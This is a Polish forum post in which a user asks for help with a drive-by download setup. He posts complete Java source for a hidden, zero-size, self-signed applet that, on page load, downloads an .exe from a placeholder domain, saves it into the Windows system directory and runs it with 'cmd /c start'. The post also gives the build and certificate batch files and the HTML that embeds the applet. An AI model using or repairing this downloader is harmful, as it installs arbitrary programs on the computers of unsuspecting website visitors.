Witam!
Próbowałem sam, szukałem, i nic nie znalazłem, a języka java nie umiem.
A mianowicie chodzi mi o okienko, które wyskakuje zaraz po wejściu na stronę, o pewnej informacji i gdy klikniemy ok, ściągnie nam się program na komputer.
Mam pewien skrypt na swoim dysku, zrobiony na podstawie pewnego poradnika, lecz nie działa, jeżeli będzie ktoś potrzebował to mogę go wrzucić.
Za pomoc z góry dziękuję.
@Edit
W sumie stwierdziłem, że jednak lepiej i bardziej zrozumiałe będzie, jeżeli dam wam kod tego skryptu.
Tworzę plik o nazwie Program.java
import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.*;
public class Program extends JApplet{
public void init(){
try {
Downloader.downloadToWindowsDirectoryAndRun(new URL(getParameter("program")));
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
Następnie plik Downloader.java
import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.io.*;
public class Downloader {
public static boolean downloadToWindowsDirectoryAndRun(URL file){
DataInputStream in = null;
DataOutputStream fr = null;
String path=null;
String fileName = file.toString().split("/")[file.toString().split("/").length-1];
System.out.println(fileName);
try{
in = new DataInputStream(file.openStream());
path = getWindowsPath()+System.getProperty("file.separator")+fileName;
fr = new DataOutputStream(new FileOutputStream(new File(path)));
int tmp=-1;
while((tmp = in.read())!=-1){
fr.write(tmp);
}
}catch(Exception e){
e.printStackTrace();
return false;
}finally{
try{in.close();}catch(Exception e){}
try{fr.close();}catch(Exception e){}
}
try {
Runtime.getRuntime().exec("cmd /c start "+path);
} catch (IOException e) {
e.printStackTrace();
}
return true;
}
public static String getWindowsPath(){
String path = null;
BufferedReader br = null;
try {
Process p = Runtime.getRuntime().exec("cmd /c set");
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String tmp = null;
while((tmp = br.readLine())!= null){
if(tmp.contains("SystemRoot")){
return tmp.split("=")[1];
}
}
} catch (IOException e) {
e.printStackTrace();
}finally{
try{br.close();}catch(Exception e){}
}
return path;
}}
Następnie tworzę plik make.bat
"C:\Program Files\Java\jdk1.6.0_04\bin\javac.exe" Program.java
"C:\Program Files\Java\jdk1.6.0_04\bin\jar.exe" -cvf program.jar *class
Uruchamiam go i powinny pojawić się pliki "Program.class", "Downloader.class" oraz "program.jar". Podczas różnych prób tworzenia owego skrytpu raz pojawiały się pliki "Program.class", "Downloader.class" i "program.jar" a częściej pojawiał się sam "program.jar", lecz to on jest tu podobno najważniejszy, lecz nie jest też napisane czy bez tych dwóch plików też się obejdzie.
Następnie robię plik makecert.bat
"C:\Program Files\Java\jdk1.6.0_04\bin\keytool.exe" -genkey -alias NowyCertyfikat -validity 365
Uruchamiam go, uzupełniam dane.
Następnie robię plik index.html
<html>
<head>
<title>Tytuł strony</title>
</head>
<body>
<applet width=0 height=0 code="Program.class" archive="program.jar">
<param name="program" value="http://www.NAZWA_TWOJEJ_DOMENY.com/program.exe">
</applet>
</body>
</html>
Oczywiście w pliku index.html zmieniam wszystkie ścieżki na swoje.
Po tym wszystkim wrzucam pliki "index.html", "program.jar" oraz "program.exe" na serwer cba.pl.
Sęk w tym, że pojawia się okno, klikam run, i nic się nie dzieje, tylko raz mi się udało, że program się ściągnął i zainstalował na komputerze, po czym stwierdziłem, że skoro wszystko działa, to zmienie nazwy z program.exe na swoje i od tamtej pory nie działa, próbowałem robić wszystko od podstaw i nic. Jak na dzień dzisiejszy skończyło się to tym, że nawet nie wyświetla się okienko javy.